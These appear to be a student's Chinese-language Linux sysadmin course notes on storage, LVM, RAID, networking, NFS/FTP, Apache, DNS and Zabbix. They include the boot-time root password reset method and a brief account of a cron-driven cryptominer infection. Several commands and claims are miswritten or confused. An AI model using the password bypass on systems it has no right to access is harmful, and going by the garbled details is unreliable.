清除日志文件 清除备份文件 清除临时文件

取消挂载时候要注意
1不能在当前挂载目录中,否则取消挂载失败
2 想要格式化磁盘 ,必须先要取消挂载,才能格式化成功
3 挂载前,需要手动创建挂载目录,然后格式化分区,
然后再去手动挂载。
4 挂载点不存在,请仔细查看
5 mount临时挂载,重启以后,挂载失效。

1将你的sdb1 格式化成ext4 文件系统 mkfs.ext4 /dev/sdb1 -f
2将 sdb2 格式化成 xfs 文件系统 mkfs.xfs /dev/sdb2 -f
3分别将sdb1 sdb2 挂载 在/mnt/d1 和/mnt/d2下
4查看是否挂载成功 lsblk
5格式化磁盘sdb(必须格式化成功)–不要分区了
6重新分区sdb1 直接挂载(不格式化,看看是否能挂上)。
7解决:格式化后在挂载/mnt/d3上,
8重启服务器查看挂载是否存在

链接分为 什么??
符号链接和硬链接

符号链接硬链接
ln -s ln
源x x x YES

1 软链接(符号链接)和硬链接的区别:
硬链接不会创建新的inode,只给源文件多加一个文件名,软链接创建新的inode,相当重新创建一个文件,
硬链接不能跨分区,软链接可以跨分区
硬链接删除源文件后,另一个文件能用。 软连接删除文件后,连接文件不能再用

2 链接文件分为什么? 怎么创建链接文件
符号链接和硬链接
符号链接:ln -s 想要链接的文件 链接后的新文件
硬链接 ln 想要链接的文件 链接后的新文件

fdisk /dev/sdb 磁盘分区
lsblk 查看分区
blkid 查看uuid 设备名称(直接在/etc/fstad目录下创建挂载)
df-Th(查看磁盘、文件系统类型)
free -t free -h0单位GB
mount -a 查看挂载
ls -a 查看隐藏文件
开机自动挂载 /etc/fastab
blkid查看磁盘uuid
挂载到目录
day7
破解root密码:
reboot 内核 e 进入单用户模式utf -8 init=/bin/sh ctrl+x mount -o remount,rw / pass我的root exec /sbin/init

vi /etc/rc.local 开机自动运行 chmod +x /etc/rc.d/
reboot 重启生效

磁reate /dev/sdb 磁盘------->pv
Vgcreate datavg /dev/sd创建卷组 datavg
lvcreate -L 200M -n lv1 datavg
lvcreate -L 200M -n lv1 datavg
mkfs.xfs /dev/datavg/lv1
mkfs.ext4 /dev/datavg/lv2 格式化
mkdir /mnt/lv1
mkdi r / mnt/lv2 创建挂载点
mount /dev/datavg/lv1 /mnt/lv1
mount /dev/datavg/lv1 /mnt/lv2 临时挂载
pvcreate /dev/sdc
vgextend datavg /dev/sdc 将sdc扩进datavg卷组
pvmove /dev/sdb /dev/sdc 数据迁移
vgreduce datavg /dev/sdb 从卷组中拿出sdb

盘–>pv–>vg卷组–>lvm
Pvc

删除lvm步骤
1.umount /dev/datavg/lv1 /mnt/lv1 取消挂载
umount /dev/datavg/lv2 /mnt/lv2
2 lvremove /dev/datavg/lv1 删除lvm
3 vgremove datavg 删除卷组vg
pvremove /dev/sdb 删除pv

等这3步都做完才可以格式化磁盘

扩根:
pvcreate /dev/sdb
vgs
vgextend centos /dev/sdb
lvscan
lvextend -L +5G /dev/centos/root

df -T
xfs_growfs /dev/centos/root
df -Th
lvextend -L +5G /dev/centos/root
xfs_growfs /dev/centos/root
df -h
day8
1所有服务器在安装操作系统之前,必须先做raid。【常识】
2请简述raid0和raid1 raid5的区别
3说说你用的什么raid【重点】,为什么?请详细说说?

我公司有raid0 单盘0很多,应用在hadop,web集群上,每一块磁盘实现开机自动挂载
sd【a-p】分别挂载在/data【0-15】
raid1+ssd_raid5或者aid6
等大磁盘容量的机器都应用在数据库服务器上
4服务器硬盘如果出现了故障,你怎么做?
首先查看硬盘灯及硬盘状态,
硬盘灯亮红色,意味着faild状态,已经损坏。
要看机器是什么raid阵列级别,才可以确认是否能够保留数据,如果没有冗余功能的阵列,数据丢失,如果是系统损坏,linux系统损坏,需要重装。

服务器物理磁盘查看,都有什么状态
online (在线状态正常)
faild失败 (磁盘损坏) 磁盘外观亮红灯
ready 没有加入阵列当中,不可使用
rebuilding 同步,重建

型号
ST3300657 300G (容量) 10K RPM (转速) SATA(SAS)接口类型
0 1 5 6
1+5 1+ssd5
1raid 机械硬盘和ssd固态硬盘可以混搭做什么raid吗?
raid1+raid5都有冗余功能,都只允许损坏一块磁盘,数据不会丢失
2固态和机械硬盘那个装系统,哪个存数据?
固态硬盘读写速度很快,但价格较贵,考虑到成本问题且在机械硬盘上运行一个linux操作系统完全没有问题,所以在机械硬盘上安装系统,在固态硬盘上存储数据(便于用户访问数据)。

在保服务器怎么更换硬件?
首先确认机器在保,然后给厂商打售后电话,提供SN/PN号。
【设备唯一标识】。
售后客服和你确认后,联系厂家工程师上门维护,更换备件,此操作由厂家操作,机房值守陪同。工程师验证。坏的备件由厂家人拿走。
提前给厂家人员办理进入机房授权手续。
如果用的云服务器,请直接提工单,联系云供应商。

状态返回码

200 ok
301 永久重定向
302 临时重定向
400 请求语法有错误
403 权限拒绝
404 网页未找到
500 服务器内部错误
502 错误网关
503 服务器正忙
4XX 客户端请求问题
5xx 服务器内部问题


说说更换硬盘的详细过程,及报修流程。
1 确认硬盘故障后,确认硬盘的型号例如ST3300657 300G(容量) 10K RPM(转速) SATA(SAS)(接口类型)尺寸
2 找到硬盘后除了新盘,旧盘一定要做硬盘检测,
[找一台旧服务器,一般在公司]并且清除数据,让硬盘变成ready状态。才可以发送(快递)到IDC机房。机房值守收到硬盘后,工程师要给现场派发工单。
更换服务器名称为:XXXX 哪个机房,机柜,的ID=?
例如
请更换硬盘:
亦庄4M3A机房, K3列 服务器D161234. ID=2
300G 型号:st3300657ss 10k rpm sata 3.5寸
现场更换完毕后,旧的盘单独存放。定期发送给相关部门进行销毁

dd if=/dev/zero of=test bs=1M count=5 做一个5M的文件
date 月日时分 修改系统时间(必须是两位数)

find /tmp/ -name “1.txt” 按照文件名字
find /tmp/ -iname “file” 忽略大小写
find /tmp/ -size +5M 按照文件大小查找,查找大于
5M的东西
find / -maxdepth 2 -a -name “ifcfg-ens33”
按照目录深度查找 -a要满足三个条件
find /etc -mtime +5 按修改时间查找大于5天
按文件类型:
find /dev/ -type f | wc -l 查找文件 显示个数
find /dev/ -type d |wc -l 查找目录 显示个数

find /tmp/ -perm 644 .查找当前目录下权限为644的文件
find /tmp/ ! -name “1.txt” 取反
find /tmp/ -name “1.txt” -o -name “2.txt”
使用-a这个参数可以链接2个不同的条件而且这两个条件
必须同时满足 -o满足一个条件就会被找出来
find /tmp/ -name “ifcfg” -exec cp -rvf {} / ;
查找 路径 | 固定参数传递 复制 强制并且产生过程
{}固定占位 /路径 \;固定结束
find /tmp/ -name “*.txt”-exec rm -rf {} ;
find / -name “sdsdd.txt” -exec mv {} /tmp ;
按时间找:-atime、-mtime、-ctime
  access 访问时间
  modify 修改时间(修改文件里面的内容)
  change 更改时间(更改文件的属主、属组)

[root@kakaops ~]# stat /etc/passwd 查看文件a、m、c等详细信息
  文件:“/etc/passwd”
  大小:4012 块:8 IO 块:4096 普通文件
  设备:fd00h/64768d Inode:303288236 硬链接:1
  权限:(0644/-rw-r–r–) Uid:( 0/ root) Gid:( 0/ root)
  最近访问:2020-10-25 13:50:17.603318779 +0800
  最近更改:2020-10-21 13:50:17.576087587 +0800
  最近改动:2020-10-21 13:50:17.619088986 +0800
  创建时间:-
day9

scp 1.txt x.x.x.x:/tmp x.x.x.x IP地址

A----给B拷贝文件


scp x.x.x.x:/tmp/1.txt /srv

 B机器 IP    路径          A机器本机的路径

mkdir 1111 目录

scp -r 1111/ x.x.x.x:/tmp/ 拷贝目录

1 基于默认的22端口,所以修改完端口后不可以使用scp命令

2 公有云之间可用互通, 虚拟机和云不通

3 不能够先给云做端口加固修改, 因为没有开放安全组,
会登陆不上。—安全组–>端口放行 下周讲

4 云留意手机信息,云会被攻击,产生占用机器负载及CPU的可疑进程。及哪些IP什么时候登陆的你, 不要直接重装,(免费不花钱)

5 云和IDC设备能够互通么? 混合云技术

1 A–> 将/srv/haha 目录拷贝给 B:/tmp
scp -r /srv/haha x.x.x.x:/tmp 注意(目录)参数-r
Scp x.x.x.x:/tmp /srv
2 A 机器 压缩 /tmp目录 将压缩包拷贝到 B:/srv
tar -czf tmp.tar.gz /tmp
参数 压缩后的名字 需要压缩的目录
scp tmp.tar.gz x.x.x.x:/srv
3 将B机器/srv下的压缩包 压缩到当前目录
cd /srv
tar xf tmp.tar.gz
4 将B机器的压缩包,压缩到/srv/111/目录下
mkdir /srv/111
tar xf tmp.tar.gz -C /srv/111
5 云服务付费方式
按量付费 包年包月
配置–带宽
6 选择区域 按照就近,本地化原则,同区域设备互通,不通区域设备不通、(不是一个网段)
7 根据业务特点去选型,
io读写速率快特点 内存型 包

yum命令和rpm命令的区别,如果使用rpm安装一个有依赖的包
区别:rpm命令安装时,不检查软件包依赖性问题,yum命令安装时,可自动处理依赖关系,并且一次安装所有有依赖的包
rpm安装一个有依赖的包;先使用rpm安装这个依赖包,按照错误的提示,缺少哪个包,要先装缺少的包。等依赖包安装好后,再安装此包。
安装方式
yum包没有依赖性,rpm有。
1 rpm包的安装
2最常用的yum
3源码编译安装

cd /etc/yum.repos.d/
让国外源生效
15 23 31 39 加注释
16 24 32 40 减掉注释

#/etc/yum.repos.d/CentOS-Base.repo 修改的国外源

#sed -ri s/^#baseurl/baseurl/g /etc/yum.repos.d/CentOS-Base.repo
#sed -ri s/^mirrorlist/#mirrorlist/g /etc/yum.repos.d/CentOS-Base.repo

国外源换国内源(阿里源)
cd /etc/yum.repos.d/
rm -rf""
#https://developer.aliyun.com/mirror/centos?spm=a2c6h.13651102.0.0.32dc1b11Q1nT1d
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
yum makecache
yum install -y yum-utils device-mapper-persistent-data lvm2 git
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum clean all 清除缓存
yum makecache fast 加载缓存
yum -y install 安装
yum -y remove lsof 卸载
yum -y restall httpd 重新安装
yum provides vim 复制软件包名称 查看
yum -y install 右键粘贴包名 安装
killall 服务名 全部杀掉
pkill 服务名 全部杀掉进程
yum provides rz 查找rz命令上传软件包
rz 回车 windows上传linux
sz 文件名 linux传到windows
rpm包(网上下载
-.rpm)
rpm -ivh ntfs-3g 包名 安装
rpm -q ntfs-3g 查看软件是否暗转
rpm -e 软件名 卸载
包:服务名–版本–el7_x86_64

Rpm 可升级 可扩展,更加稳定 一些大的服务

yum clean all 清除缓冲
yum makecache fast 加载缓
day10
企业中必须有两个源:
基础源 扩展源
yum -y install epel-release
安装扩展源
.zip结尾的压缩包要使用unzip命令去解压
yum -y install unzip

1 找包 .org .tar.gz
2 配环境必须
yum -y install gcc make zlib-devel pcre pcre-devel openssl-devel
3 上传 rz sz 没有请安装
4 tar xf xx
5 cd
6 ./configure --prefix=/usr/local/nginx --with-服务名=/
7make
8 make install
/usr/local/nginx/sbin/nginx 开启

/usr/local/nginx/sbin/nginx -s stop 停止
卸载-
yum安装或者rpm安装
yum -y remove xx
rpm -e xxxx
源码包安装 不可解决依赖关系
rm -rf /usr/local/xxx 绝对路径去删除

安装最新版本的服务
需要去 服务名.org官方网站去看 去找 去下载
报错仔细看 注意erro 和报红的字体

exec和xarge的区别:

1、exec-
每处理一个文件和目录,他都需要启动一次命令,效率不 好;
2、exec格式麻烦,必须用{}做文件代位符,必须用 \;
3、xargs不能操作文件名有空格的文件

                                        day11

老大说请统一测试和线上环境–>首先统一操作系统版本–>统一环境–>统一安装包环境。必须一摸一样的需求环境。

安装最新版的xxx服务(或者指定版本) --官网找包,下载包,然后上传到服务器上

搭建小的线上服务(建议在相同环境虚拟搭建一遍,然后等搭建成功,解决玩问题后,在去物理机或云服务器部署)【避免线上环境不纯洁,影响服务】

请用时间自动对时,调整服务器的初始化时间
使用ntpdate -s 时间服务器

某公司的一台服务器中了挖矿病毒,长时间的在运行比特币的运算。
通过计划任务*/15 * * * * wgt去下载并执行脚本。
机器的cpu 长时间 使用率特别高
并且计划任务删不掉。 crontab
-e进入
1写防火墙规则,禁止网站的访问
2关闭计划任务书的守护进程,停止计划任务crond。
3清楚/root/.ssh 文件里面的密钥
4只允许本机用户普通账号登入
5禁止root远程登入
6取消脚本执行权限 chmod -x xxx
7修改ssh默认端口
8一般除了有非常重要的数据外。我们都是直接重装,后加固
权限

vim /etc/logrotate.d/yum
/var/log/yum.log {
missingok 丢失不提醒
notifempty空文件不轮转
maxsize日志达到30k创建新的
yearly 一年轮转一次
create 0660(权限) root root
}

tail /var/log/messages //系统主日志文件

tail -20 /var/log/messages

tail -f /var/log/messages //动态查看日志文件的尾部

tailf /var/log/secure //认证、安全

tail /var/log/cron //

计划任务日志

tail /var/log/yum.log //yum

软件包安装日志

日志轮转

/usr/sbin/logrotate/etc/logrotate.conf 手动轮转加载配置文件
vi /etc/logrotate.d/yum

/var/log/yum.log {
missingok

notifempty

maxsize 30k

yearly

create 0600 root root

  daily
 rotate 3
create 0777 root root

}

记得修改系统时间 一定要往后延1天

执行轮转配置文件 查看 ls /var/log/yum.*
查看新的日志文件是否生成
rpm 二进制包

find / -name “*.iso”然后pwd把这些文件的echo到iso.txt文件内
17,tar -zcvf date +%F-%T.tar.gz /etc mv date +%F-%T.tar.gz /tmp
day12
yum list | grep php 显示

网卡配置

网络起不来,报错 ,一定是配置文件写的有问题,仔细检查
IP a 先软后硬 ethtool xxx查看网线
硬件 系统问题配置 (网络交换机) 应用服务级问题(防火墙)

which 只能查询命令(命令的别名信息alias和命令的路径信息)
  [root@kakaops ~]# which ls
  alias ls=‘ls --color=auto’
  /usr/local/bin/ls

whereis 可以查询命令和配置文件的位置
  [root@kakaops ~]# whereis ls
  [root@kakaops ~]# whereis passw
whatis 查询命令和配置文件都在哪章man有解释
  [root@kakaops ~]# whatis ls
  [root@kakaops ~]# man -f ls

TYPE接口类型
BOOTPROTO
ONBOOT开机自动启动网卡

vi /etc/sysconfig/network-scripts
ip地址–x.x.x.2 (虚拟机网关不可以改为IP)
– X.X.X.1 公司里的网关地址
x.x.x.X (范围是1-254)
网络起不来,报错,一定是配置文件写的有问题,仔细检查
vi / /ifcfg-ens33 (虚拟机网卡配置文件)
(公司里网卡名称为eth0 和eth1)

怎么样登陆同学的机器?
必须改成桥接10段的IP地址段才可以互相登陆
10和192段互相不通

虚拟机动态IP配置
DEVICE=“ens33”
BOOTPROTO=“dhcp”
ONBOOT=“yes”
TYPE=“Ethernet”
PERSISTENT_DHCLIENT=“yes”、
云服务器动态主机配置:
TYPE=“Ethernet”
BOOTPROTO=“dhcp”
NAME=“ens33”
DEVICE=“ens33”
ONBOOT=“yes”
PERSISTENT_DHCLLIENT=“yes”

10 禁止密码登录
[root@robin ~]# vim /etc/ssh/sshd_config
PasswordAuthentication no
systemctl restart sshdC:\Users\35089\Desktop\练习

网卡配置文件 动态–>静态 要求能登陆 静态—>动态 要求能登陆 单内网变成双网口bond 要求能登陆 双网口bond机器还原单内网 要求能登陆
icmp
3 配置内网bond0 (链路聚合)
桥接模式配置bond0
https://www.bbsmax.com/A/Ae5RgZNYdQ/
配置:文档
注意事项ip a
1 去看网卡名称,注意配置文件路径及内容
2 没加物理网卡就去配置bond
3 一个网卡桥接 一个网卡nat模式

1 2台机器的免密登陆 生成秘钥对,怎么删除免密?

免密 目录cd /root/.ssh/
ssh-keygen 生成秘钥对
ls /root/.ssh/ 公钥和私钥生成的目录
ssh-copy-id -i X.X.X.X (B机器IP地址) -p端口
yes
B机器的密码

在A机器的终端 ssh x.x.x.x 就会不用输入root密码
免密登陆B机器
注意:基于SSH的22端口传输数据包的,-P请不要随意修改端口
day13
在公司网卡配置文件修改前,一定要备份
内网 网卡名称为eth0 ifcfg-eth0
外网 网卡名称为eth1 ifcfg-eth1

内网bond 名称为bond0
外网bond 名称为bond1
外网网卡eth1的配置文件必须加网关,否则上不了网

speed 100MB/S 网卡协商速率
Link detected:yes(no)
查看服务器是否连接网线

如果你网卡协商速率正常是1000MBS
突然有一天你查看,协商速率掉为100MB/S
网线坏了。解决方法:换根网线

linux系统开机启动顺序
1加电
2加载BIOS设置
3加载grub 引导
4加载内核系统到内存中
5加载配置文件
6加载内核模块
7完成相应的初始化工作和启动相应的服务
8启动系统进程
9出现登入界面
10开机自动启动
405 请求方法不允许
403 请求权限拒绝

网卡的子接口(1个网卡多个IP地址)
永久配置子接口
子接口–>静态–>复制配置文件–>名字改为
网卡配置文件 ifcfg-ens33:0 ifcfg-ens33:1 ifcfg-ens33:2
–>配置文件中修改所对应的IP地址及 device和name的名称
–>注意新配置的IP地址和原来的必须是一个地址段
192.168.12.4 192.168.12.8 192.168.12.10
–> 要求重启网络服务–>ip a 去查看 本网卡的新IP地址–>
所有ip都可以登陆这台机器

1 免密 OK
2 修改并且懂每一行配置文件的意思 (网卡配置文件) OK
3 配置内网bond0 (链路聚合) ok
4 网卡的子接口(1个网卡多个IP地址)
5 修改默认的网卡名称为企业中的eth0 OK

内网 eth0
外网 eth1
mv ifcfg-ens33 ifcfg-eth0 #重命名网卡

vi /etc/sysconfig/grub
GRUB_CMDLINE_LINUX=“crashkernel=auto rhgb net.ifnames=0 biosdevname=0 quiet” ##重新加载grub

grub2-mkconfig -o /boot/grub2/grub.cfg #生成启动菜单

reboot

6 查看网卡协商速率 ethtool
ens33 bond0 OK
speed 1000mb/s
Link detected:
是否插网线了
在公司里内网网卡名叫做ifcfg-eth0 外网叫做ifcfg-eth1

static 等同于none
网卡配置文件添加网关及DNS
GATEWAY=X.X.X.X
DNS=X.X.X.X

7 查看windows电脑的IP地址 并且修改 cmd ipconfig ipv4

8 使用 ethtool 命令后 网线的网卡协商速率是100mb/s 不是千兆
解决方法:换网线
1 确认本机器跑的应用服务–(看进程及端口)
2 如果跑着重要服务,必须将服务迁移走,保证本机不对外提供服务

9 企业中网卡乱序问题–>以HP服务qi居多

解决方法: 进入服务器的bios 找到网卡配置文件的MAC地址,并且拍照,将网卡(eth0和eth1)的MAC地址分别写入到对应的配置文件中 ifcfg-eth0(1)
HWADDR=00:0c:29:8e:a5:d3 mac地址 OK

故障现象: 网卡配置文件没有问题,硬件连接没有问题,但就是ping不通
网关,本地不通

10 禁止密码登录 ok
[root@robin ~]# vim /etc/ssh/sshd_config 63行
PasswordAuthentication no
systemctl restart sshd
day14
NFS是用来干嘛的?用什么技术,遇到什么问题
1用NFS做nas储存,当用户访问过多的时侯,会卡。提升交换机配置,将百兆提升到千兆或万兆,或者将NFS服务器配置bond或者将网络进行优化(内核调参及配置bond)
2怎么理解储存
存储就是根据不同的应用环境,通过采取合理,安全有效的方式将数据保存在某些介质上,并保证有效的访问,它是数据临时或者长期驻留的物理媒介,保证数据完整性安全存放的行为和方式。

                          nfs 存储端

yum -y install nfs-utils 安装nfs服务
systemctl stop firewalld
setenforcec 0
mkdir /webdata 创建共享目录
echo “zhaohan…” > /webdata/index.html 将主页文件写入目录中
vi /etc/exports nfs主配置文件
/webdata 192.168.15.0/24(rw,sync,no_root_squash)

systemctl restart nfs
exportfs -v 查看本机共享目录

web
yum -y install nfs-utils httpd

systemctl stop firewalld
setenforce 0
showmount -e x x x x
mount -t nfs x.x.x.x:/webdata /var/www/html/
浏览器访问 IP地址
永久关闭 cd /

如果ping baidu 不通
进入 vi /etc/resolv.conf
加入 nameserver X.X.X.2

注意事项:
安装包是否安装成功?
是否对应机器?
配置文件中共享目录及网段是否正确?
防火墙 selinux是否关闭
配置文件修改后是否重启nfs服务?
共享目录中的文件是否正确?有没有多的?
名字是否是 index.html(固定)

挂载如果挂不上,确认是NFS的问题还是web的问题

确认nfs的IP和目录是否正确?
web服务装没装?
挂载成功后,去查看一下 df -h
浏览器访问,注意浏览器缓存和浏览器的兼容性
建议使用谷歌

               ftp共享

NFS /etc/exports

开机自动挂载 及应用服务的开机自启及防火墙selinulx开机自动关闭

FTP 主被
yum -y install vsftpd (服务端)
ftp://IP windows 访问
/var/ftp/ 在这个目录下去创建共享目录

要求windows 用户可以下载文件 2.txt 要求共享目录名字为cloud.

yum -y install lftp ( linux 客户端)
lftp ip地址
get 文件
get 文件 -o 路径
mirror +目录
vi /etc/vsftpd/vsftpd.conf 主配置文件
不要忘记给目录777 权限
day15
常见的http相应状态码

200 请求被正常处理
204 请求被处理但没有资源可以返回
206 客户端只是请求资源的一部分,服务器支队请求的部分资源执行get方法,相应报文中通过Content-Range指定范围的资源。
301 永久性重定向
302 临时重定向
303 与302状态吗有相似功能,只是它希望客户端在请求一个url的时候,能通过get方法重定向到另一个url上
304 发送附带条件的请求时,条件不满足时返回,与重定向无关
307 临时重定向,与302类似,只是强制要求使用post方法
400 请求报文语法有误
401 请求需要认证
403 请求的对应资源禁止被访问 没有得到内容,页面问题
404 服务器无法找到对应的资源 找不到页面
500 服务器内部错误
502 错误网关
503 服务器正忙

搭建博客

基础配置 LAMP
安装环境
安装数据库
虚拟主机技术

vi vim /etc/httpd/conf.d/tianyun.conf
插入 监听本机80端口
ServerName www.tianyun.com 域名(解析)
ServerAlias tianyun.com 别名(解析)
DocumentRoot /web/tianyun 指定网站主目录

指定目录权限
Require all granted 允许所有人访问

导入源码包

老大说 把开发写的公司网站上线。
1 首先找机器–>搭环境(lamp)–>基础配置(安全加固及帐号添加–ntp对时)–>和开发沟通–>要包–>测试–>域名申请–>域名备案–>域名绑定–>阿里云进行域名申请及绑定

1鼠标点域名购买流程。
域名申请–阿里云官网可以申请直接购买

curl -I x.x.x.x检测 监测查看端口 vim /etc/httpd/conf/httpd.conf
注意云服务器 打开此端口 查看数据库 show databases
day16
1 有IP 2 有网 3 有解析
dns将服务器域名解析成IP地址
vi /etc/resolv.conf 会造成源错误
aliyun:不用管 默认有base epel
虚拟机: 国外源换成阿里源后 你要去yum -y install epel-release

systemctl restart network
ping www.baidu.com
ping: www.baidu.com: Name or service not known
你要去进入你的 vi /etc/resolv.conf 添加dnS服务器的地址
nameserver x.x.x.x 8.8.8.8
nameserver x.x.x.x 114.114.114.114
如果DNS加完后
dns 地址 如果不修改,机器登陆会非常的卡
vi /etc/reslov.conf 本地解析 添加 x.x.x.x nfs/www.xxx.com

/etc/rc.local 开始执行脚本或命令
/etc/exports NFS 著配置文件(默认为空)
/etc/fatab 实现开机自动挂载
/etc/resolv.conf 本机 dns地址写入的配置文件
/etc/hosts 本地解析
/etc/hostname 修改主机名
/etc/proc存放虚拟系统 例如cpu信息,设备驱动,网络协议信息

当用户在浏览器输入一个网站,说说计算机的访问过程,注:本机根本的的dns没有缓存
1用户输入网址到浏览器
2浏览器发出dns请求
3计算机首选查询本机hosts文件,不存在,继续下一步
4计算机按照本地dns的顺序,向区域dns服务器查ns解析结果流查询IP结果,如果区域dns服务器查询不到,会从根域开始。
5将返回dns结果给本地dns和主机,本机和本地dns并缓存本结果,直到TTL过期,才再次查询此结果
6返回IP结果给浏览器,并给本低dns一份结果
7浏览器根据IP信息,获取页面

搭建集群要怎么做?
1 首先确认资源-- >(机构位置,交换机是否有端口,操作系统版本/IP地址及网络结构)–公网IP地址是非常宝贵的,并且是在运营商(移动 电信)处收费的。
2安装(重装)操作系统-之间必须做raid 然后初始化服务器–>初始化环境(执行初始化脚本)–>yum–>rpm-- 源码编译安装。
3画出架构图–>规划服务机器 (哪台机器安装哪些服务)
4搭建服务及验证
5如果搭建web站点,请务必注意域名绑定的问题
域名不是买来可以直接用的(大陆地区)
流程: 域名购买—>申请备案(公用,私人使用)–>大约需要5-7天作业,等你备案完毕,才能添加A记录进行域名绑定公有云。

阿里云找 云解析 dns 域名绑定

网络不可达 网卡配置文件添加网关 .1 /2 8.8.8.8
未知服务 dns解析错误
day17
部署环境(关闭防火墙,yum)----打开数据库服务,进入数据库----创建相应的数据库-----vi /etc/httpd/conf.d/xxx.conf更改相应的配置文件-----把包放到相应的地方cp -rf xx /web/xxx------给/web目录添加权限777—vi /etc/hosts(本地解析)

实验1 只能用虚拟机做

虚拟主机( apache )

基于IP的虚拟主机
x.x.x.x:80 web1
x.x.x.x+1:80 web2
x.x.x.x+2:80 web3
添加网卡子接口—更改配置并添加网卡重启服务cd /etc/sysconfig/network-scripts/—创建目录mkdir -p /web/xx—将代码放到目录里----vi /etc/httpd/conf.d/tianyun.conf


ServerName www.tianyun.com
ServerAlias tianyun.com
DocumentRoot /web/tianyun


Require all granted

给目录添加权限 -R 递归参数 curl -I x.x.x.x 200 301 302 ok

实验 2 用云

基于端口的虚拟主机

x.x.x.x:1000 web1
x.x.x.x:2000 web2
x.x.x.x:3000 web3

端口的范围
1-65535
如果一个端口访问不到,换一个试试
部署环境(关闭防火墙,yum)----打开数据库服务,进入数据库----创建相应的数据库— vi/etc/httpd/conf.d/xxx.conf更改相应的配置文件-----把包放到相应的地方cp -rf xx /web/xxx------给/web目录添加权限777—vi /etc/hosts(本地解析)


ServerName www.tianyun.com
ServerAlias tianyun.com
DocumentRoot /web/tianyun


Require all granted

只需要更改端口并将代码包放到相应目录即可,更改

vim /etc/httpd/conf/httpd.conf 添加端口 开放安全端口,云服务器开放安全组,添加服务端口
day19
IDC机房 电源保障 1AB路,双电 2蓄电池 3柴油发电机

VLAN:VLAN就是一个广播域,防止广播风暴
ip地址段有一个对应的固定的VLAN d

192.168.31.8 --VLAN id 30
192.168.31.3
10.10.10.3 vlan50

:利用公网建立私有网络

在公司的工位工作:
公司网络和生产业务网络:都是内网,并且已经通信
登入服务器方式:
ssh jumpserver IP
在jumpserver 上ssh [email protected] sudo su -

在家或者在马路边(非公司网络)
接用的客户端–首先验证登入,登入后,你的网络(宽带或者4G介入了你公司的内网)
day20
交换机端口没有0,服务器需要注意(看型号)
enable show vlan ip brief

vlan查错线 ping IP(物理链路、) 查看

怎样登入交换机及服务器?去做网络和服务配置?
登入交换机和服务器的跳板机不是一个。
登入交换机的跳板机也是一个linux服务器

1.ssh 交换机的跳板机(linux服务器) 服务器
ssh x.x.x.x
2.使用 000elnet IP地址(交换机的IP)去登入 交换机

交换机的跳板及和服务器的跳板机不是一个
telnet x.x.x.x

服务器IP地址变更。
1 将本机所有服务停掉,迁移到其他设备。
2 提工单给资源分配组->请求分配新的IP地址且端口不变更–如果有特需的IP段规定,请在工单里标注,我需要10.18.45.X/24 这段的IP地址。如果没有标注,其他同事会分配任意段的IP地址---->资源分配组分配下来IP之后—>[a,重新划分交换机端口的VLAN 这个时候机器立马不通了

b 资源分配一旦工单完成后,ssh登陆服务器–>修改网卡配置文件 修改路由 修改网关–>重启网络服务–机器不通了—>联系网络工程师进行端口划分—> 本地ping 服务器的新IP地址–通了后ssh登陆---->创建资源回收工单–目的是回收旧的IP---->修改CMDB系统的信息或excel表格信息。
10.0.0.22 10 新192.168.3.3 20

ssh 10.0.0.22
ifcfg-eth0
ip 地址
GATEWAY
systemctl restart network

telnet 交换机的IP地址 进入端口VLAN 20
ssh 192.168.3.3

realserver
IP addr 10.18.45.33
要求修改为 10.18.45.34
day21
制作网线顺序

橙白 橙 绿白 蓝 蓝白 绿 棕白 棕 568b

白绿绿、橙白蓝、蓝白橙、白棕棕 568a

1 物理层:处于OSI参考模型的最底层,物理层主要功能是利用物理传输介质为数据链路层提供物理连接。
2 数据链路层:在此层将数据分帧,并处理流控制,屏蔽物理层,为网络层提供一个物理链路的连接,在一条有可能出差错的物理连接上,进行无差错的数据传输,本层指定拓扑结构并提供硬件寻址
3 网络层: 本层通过寻址来建立两个节点之间的连接,为源端的运输层送来的分组,选择合适的路由和交换节点,正确无误地按照地址传送给目的端的传输层,它包括通过互联网络来路由和中继数据。
4 传输层:常规数据递送面向连接或无连接,为会话层用户提供一个端到端的可靠,透明和优化的数据传输服务机制
5 会话层 在两个节点之间建立端连接,为端系统的应用程序之间提供对话控制机制
6 表示层 用于处理两个通信系统中交换信息的表示方式,为上层用户解决用户信息的语法问题,包括数据格式交换,数据加密与解密,数据压缩与恢复功能。
7 应用层 OSI中最高层 为特定类型的网络应用提供访问OSI环境的手段,提供应用进行所需要的信息交换和远程操作。
需要熟记:大概要跑哪些协议
----------------------------------------------------------zabbix ---------------------------------------------------
zabbix监控 cacti(耗时,关注数据展示,不管注反馈) ngios
1.服务器 cpu mem disk net in/out
应用程序 便宜thon java php nginx tomcat httpd
监控系统
大批量的监控
自动化 自动检查
可视化
分布式
详细安装过程zabbix
1.请前往官方网站下载安装包(稳定包) https://www.zabbix.com/
点击下载 选择安装 版本 平台 数据库以及web服务器(nginx) 参考网站csdn
2.解压安装包后
cd zabbix
执行yum -y install *
安装数据库mysql(可参考脚本快速安装)
在数据库内执行 创建用户并且授权
mysql -uroot -p’password’
create database zabbix character set utf8 collate utf8_bin;
create user zabbix@localhost identified by ‘password’;
grant all privileges on zabbix.* to zabbix@localhost ;
quit;
导入初始架构和数据,系统将提示您输入新创建的密码
zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix
3.修改配置文件
为zabbix配置数据库
vim /etc/zabbix/zabbix_server.conf
DBPassword=password #取消注释并且设置密码
为zabbix配置前端php
vim /etc/opt/rh/rh-nginx116/nginx/nginx.conf
删除 38 行到 80 行的内容
编辑nginx子配置文件
vim /etc/opt/rh/rh-nginx116/nginx/conf.d/zabbix.conf,
取消 listen 和 server_name 的注释并设置
listen 80;
server_name www.shark-zabbix.com; #本地解析
配置php
vim /etc/opt/rh/rh-php72/php-fpm.d/zabbix.conf
listen.acl_users = apache,nginx #添加nginx到指令
php_value[date.timezone] = Asia/Shanghai #修改时区
启动并设置开机自启zabbix
systemctl restart zabbix-server zabbix-agent rh-nginx116-nginx rh-php72-php-fpm
systemctl enable zabbix-server zabbix-agent rh-nginx116-nginx rh-php72-php-fpm
注意检查端口是否已经启动 9000 8000 10050 10051
3.访问页面
http://ip或者域名
拉动滚动条,检查所有项目 ok
填写数据库相关信息
再次检查配置配置信息是否正确
出现登录界面 默认帐号密码 帐号Adimin 密码zabbix
-------------------------------------------------------ELK集群---------------------------------------------------
为什么要使用elastic收集日志?
